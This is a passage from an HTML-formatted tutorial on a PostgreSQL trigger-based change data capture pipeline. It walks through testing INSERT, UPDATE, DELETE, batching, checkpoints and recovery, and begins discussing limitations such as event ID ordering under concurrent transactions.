&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; cdc_source
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Insert a new employee:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;department&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'John Smith'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Engineering'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;85000&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;employee_changes_trigger&lt;/code&gt; automatically invokes the &lt;code&gt;capture_employee_changes()&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;The function creates a CDC event containing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Operation: &lt;code&gt;INSERT&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Record ID: The newly generated employee ID&lt;/li&gt;
&lt;li&gt;Changed data: The inserted employee information in JSONB format&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Verify the event in the source database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;changed_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should find a new event with operation &lt;code&gt;INSERT&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Next, connect to the destination database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; cdc_destination
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify that the employee has been replicated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The inserted employee should now be present in the destination table.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.3 Testing UPDATE Operations
&lt;/h3&gt;

&lt;p&gt;Next, let's verify that changes to an existing employee are captured and replicated.&lt;/p&gt;

&lt;p&gt;Execute the following statement in the source database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt;
&lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;salary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;95000&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'John Smith'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The trigger captures the UPDATE operation and stores the updated employee information in the &lt;code&gt;cdc_events&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;Verify the newly generated event:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;changed_data&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should find an event with operation &lt;code&gt;UPDATE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After the connector processes the event, query the destination database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'John Smith'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The employee's salary should reflect the updated value.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.4 Testing DELETE Operations
&lt;/h3&gt;

&lt;p&gt;Now let's test the DELETE operation.&lt;/p&gt;

&lt;p&gt;Execute the following statement in the source database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'John Smith'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The trigger captures the DELETE operation.&lt;/p&gt;

&lt;p&gt;For a DELETE event, the trigger uses the &lt;code&gt;OLD&lt;/code&gt; record to preserve the employee information that existed before deletion.&lt;/p&gt;

&lt;p&gt;Verify the CDC event:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;changed_data&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should find an event with operation &lt;code&gt;DELETE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After the connector processes the event, verify the destination database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'John Smith'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The employee record should no longer exist in the destination table.&lt;/p&gt;

&lt;p&gt;These three tests verify that the trigger-based CDC implementation captures all three basic database operations: INSERT, UPDATE, and DELETE.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.5 Testing Batch Processing and Pagination
&lt;/h3&gt;

&lt;p&gt;The next test verifies that the connector can process multiple CDC events using the configured batch size and fetch size.&lt;/p&gt;

&lt;p&gt;For this demonstration, the configuration is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;cdc.batch.size&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;3&lt;/span&gt;
&lt;span class="py"&gt;cdc.fetch.size&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The connector retrieves a maximum of four events in each source query.&lt;/li&gt;
&lt;li&gt;It applies up to three events in each destination transaction.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To generate multiple CDC events, insert several employees into the source database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;department&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Alice Brown'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Engineering'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;90000&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Bob Wilson'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Finance'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;78000&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Carol Davis'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'HR'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;72000&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'David Miller'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Engineering'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;95000&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Emma Taylor'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Finance'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;82000&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Frank Moore'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'HR'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;75000&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Grace Lee'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Engineering'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;98000&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Henry Clark'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Finance'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;88000&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each inserted row generates a separate CDC event.&lt;/p&gt;

&lt;p&gt;With eight available events, the connector processes them as follows, assuming they are visible in event ID order:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fetch operation&lt;/th&gt;
&lt;th&gt;Events retrieved&lt;/th&gt;
&lt;th&gt;Destination batches&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;First fetch&lt;/td&gt;
&lt;td&gt;4 events&lt;/td&gt;
&lt;td&gt;3 + 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Second fetch&lt;/td&gt;
&lt;td&gt;4 events&lt;/td&gt;
&lt;td&gt;3 + 1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;After processing the first four events, the connector fetches the next page using the updated event ID.&lt;/p&gt;

&lt;p&gt;Once all available events have been processed, the next query returns no rows and the pagination loop ends.&lt;/p&gt;

&lt;p&gt;Verify that the employees have been replicated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This test demonstrates how pagination and batch processing work together to process more events than can fit into a single destination batch.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.6 Verifying Checkpoint Management
&lt;/h3&gt;

&lt;p&gt;The checkpoint table records the last successfully processed event ID.&lt;/p&gt;

&lt;p&gt;Connect to the destination database and execute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;
    &lt;span class="n"&gt;connector_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;last_processed_event_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;updated_at&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;cdc_checkpoint&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;last_processed_event_id&lt;/code&gt; should advance as the connector successfully processes batches.&lt;/p&gt;

&lt;p&gt;For example, if the last processed event ID is &lt;code&gt;42&lt;/code&gt;, the checkpoint table should contain:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;connector_name&lt;/th&gt;
&lt;th&gt;last_processed_event_id&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;employee-cdc-connector&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The actual value depends on the events generated during testing.&lt;/p&gt;

&lt;p&gt;This verifies that the connector updates the checkpoint after successfully applying a batch.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.7 Testing Restart Recovery
&lt;/h3&gt;

&lt;p&gt;Checkpoint management also allows the connector to resume processing after a restart.&lt;/p&gt;

&lt;p&gt;To test this behavior:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start the CDC connector.&lt;/li&gt;
&lt;li&gt;Generate some employee changes in the source database.&lt;/li&gt;
&lt;li&gt;Wait until the connector processes those events and updates the checkpoint.&lt;/li&gt;
&lt;li&gt;Stop the connector using &lt;code&gt;Ctrl+C&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Record the current checkpoint value from the destination database.&lt;/li&gt;
&lt;li&gt;Start the connector again.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;During startup, the connector calls &lt;code&gt;getLastProcessedEventId()&lt;/code&gt; to retrieve the saved checkpoint.&lt;/p&gt;

&lt;p&gt;The startup output should display the previously recorded event ID.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Starting continuous CDC polling...
Last processed event ID: 42
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector then queries the source &lt;code&gt;cdc_events&lt;/code&gt; table for events with IDs greater than the saved checkpoint.&lt;/p&gt;

&lt;p&gt;This verifies that the connector resumes from its saved processing position instead of starting from the beginning.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.8 Testing Database Connection Recovery
&lt;/h3&gt;

&lt;p&gt;The connector also implements recovery when a database connection is lost.&lt;/p&gt;

&lt;p&gt;To verify this behavior, the connection recovery test involves temporarily stopping PostgreSQL while the connector is running.&lt;/p&gt;

&lt;p&gt;The general procedure is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start the CDC connector and allow it to establish connections to both databases.&lt;/li&gt;
&lt;li&gt;Temporarily stop the PostgreSQL server.&lt;/li&gt;
&lt;li&gt;Observe the connector's connection failure handling.&lt;/li&gt;
&lt;li&gt;Restart PostgreSQL.&lt;/li&gt;
&lt;li&gt;Allow the connector to establish new database connections.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When a connection failure is detected, the connector exits the current connection session and waits for the configured reconnect delay.&lt;/p&gt;

&lt;p&gt;With the following configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;cdc.reconnect.delay.ms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;5000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the connector waits five seconds before attempting to reconnect.&lt;/p&gt;

&lt;p&gt;After successfully establishing new connections, it retrieves the checkpoint again and resumes processing from the saved position.&lt;/p&gt;

&lt;p&gt;This verifies the connection recovery and checkpoint-based resumption behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.9 Summary of Testing
&lt;/h3&gt;

&lt;p&gt;The project testing covered the following areas:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Test scenario&lt;/th&gt;
&lt;th&gt;What it verifies&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;INSERT operation&lt;/td&gt;
&lt;td&gt;New employee records are captured and replicated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UPDATE operation&lt;/td&gt;
&lt;td&gt;Changes to existing employee records are captured and replicated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DELETE operation&lt;/td&gt;
&lt;td&gt;Deleted employee records are removed from the destination&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Batch processing&lt;/td&gt;
&lt;td&gt;Multiple events are applied in configured batch sizes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pagination&lt;/td&gt;
&lt;td&gt;Additional events are retrieved through successive source queries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Checkpoint management&lt;/td&gt;
&lt;td&gt;The last successfully processed event ID is persisted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Restart recovery&lt;/td&gt;
&lt;td&gt;Processing resumes using the saved checkpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Connection recovery&lt;/td&gt;
&lt;td&gt;The connector reconnects after database connection loss&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The tests demonstrate the core functionality of the PostgreSQL trigger-based CDC pipeline, including change capture, replication, batch processing, checkpoint management, and connection recovery.&lt;/p&gt;

&lt;p&gt;Note that the retry logic for transient transaction errors is implemented in the connector, but this testing summary does not claim that deadlocks or serialization failures were deliberately injected and tested.&lt;/p&gt;

&lt;h2&gt;
  
  
  10. Limitations and Future Improvements
&lt;/h2&gt;

&lt;p&gt;The CDC pipeline developed in this tutorial demonstrates how PostgreSQL triggers and a Java application can be used to capture and replicate database changes.&lt;/p&gt;

&lt;p&gt;It includes several important capabilities, including batch processing, pagination, checkpoint management, transaction handling, retry logic, and connection recovery.&lt;/p&gt;

&lt;p&gt;However, the current implementation is intended as a learning and demonstration project. There are several limitations that should be considered before using this approach in a production environment.&lt;/p&gt;

&lt;p&gt;Let's examine the main limitations and possible improvements.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.1 Initial Data Synchronization
&lt;/h3&gt;

&lt;p&gt;The current implementation captures changes that occur after the CDC trigger has been created.&lt;/p&gt;

&lt;p&gt;It does not automatically copy existing employee records from the source database to the destination database when the connector starts for the first time.&lt;/p&gt;

&lt;p&gt;For example, suppose the source database already contains 1,000 employee records before the CDC trigger is installed.&lt;/p&gt;

&lt;p&gt;The trigger-based implementation captures subsequent INSERT, UPDATE, and DELETE operations, but it does not automatically replicate those existing 1,000 records.&lt;/p&gt;

&lt;p&gt;As a result, the destination database may initially be incomplete.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Possible improvement:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Implement an initial snapshot mechanism that copies existing records from the source database to the destination database before processing ongoing CDC events.&lt;/p&gt;

&lt;p&gt;A production implementation should also coordinate the snapshot with change capture so that changes occurring during the initial copy are not missed or applied incorrectly.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.2 Event ID Ordering and Concurrent Transactions
&lt;/h3&gt;

&lt;p&gt;One important limitation of the current implementation is the use of sequence-generated &lt;code&gt;event_id&lt;/code&gt; values as the checkpoint position.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;cdc_events&lt;/code&gt; table uses &lt;code&gt;BIGSERIAL&lt;/code&gt; to generate event IDs.&lt;/p&gt;

&lt;p&gt;Although these IDs are generated in increasing allocation order, they do not necessarily represent transaction commit order.&lt;/p&gt;

&lt;p&gt;Consider the following scenario:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Transaction T1 inserts a CDC event and receives event ID &lt;code&gt;100&lt;/code&gt;, but does not commit yet.&lt;/li&gt;
&lt;li&gt;Transaction T2 inserts another CDC event and receives event ID &lt;code&gt;101&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Transaction T2 commits.&lt;/li&gt;
&lt;li&gt;The Java connector reads event &lt;code&gt;101&lt;/code&gt; and processes it.&lt;/li&gt;
&lt;li&gt;The destination checkpoint advances to &lt;code&gt;101&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Transaction T1 commits afterward, making event &lt;code&gt;100&lt;/code&gt; visible.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The connector queries for events using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;101&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As a result, event &lt;code&gt;100&lt;/code&gt; is not selected.&lt;/p&gt;

&lt;p&gt;This means that under concurrent source transactions, the current checkpoint strategy can potentially miss events.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Possible improvement:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Use a change-position mechanism that accounts for transaction commit ordering rather than relying solely on sequence allocation order.&lt;/p&gt;

&lt;p&gt;For example, PostgreSQL logical decoding and Write-Ahead Log (WAL) positions can provide transaction-oriented change information.&lt;/p&gt;

&lt;p&gt;Another approach would be to introduce appropriate source-side transaction serialization, although that can reduce concurrency and throughput.&lt;/p&gt;

&lt;p&gt;This is an important consideration when designing a production CDC system.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.3 CDC Event Table Growth
&lt;/h3&gt;

&lt;p&gt;The current implementation continuously inserts captured changes into the &lt;code&gt;cdc_events&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;However, it does not include an automatic cleanup or archival mechanism for previously processed events.&lt;/p&gt;

&lt;p&gt;As the source database receives more changes, the CDC event table will continue to grow.&lt;/p&gt;

&lt;p&gt;Over time, this can increase storage requirements and affect database maintenance and query performance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Possible improvement:&lt;/strong&gt;&lt;/p&gt;

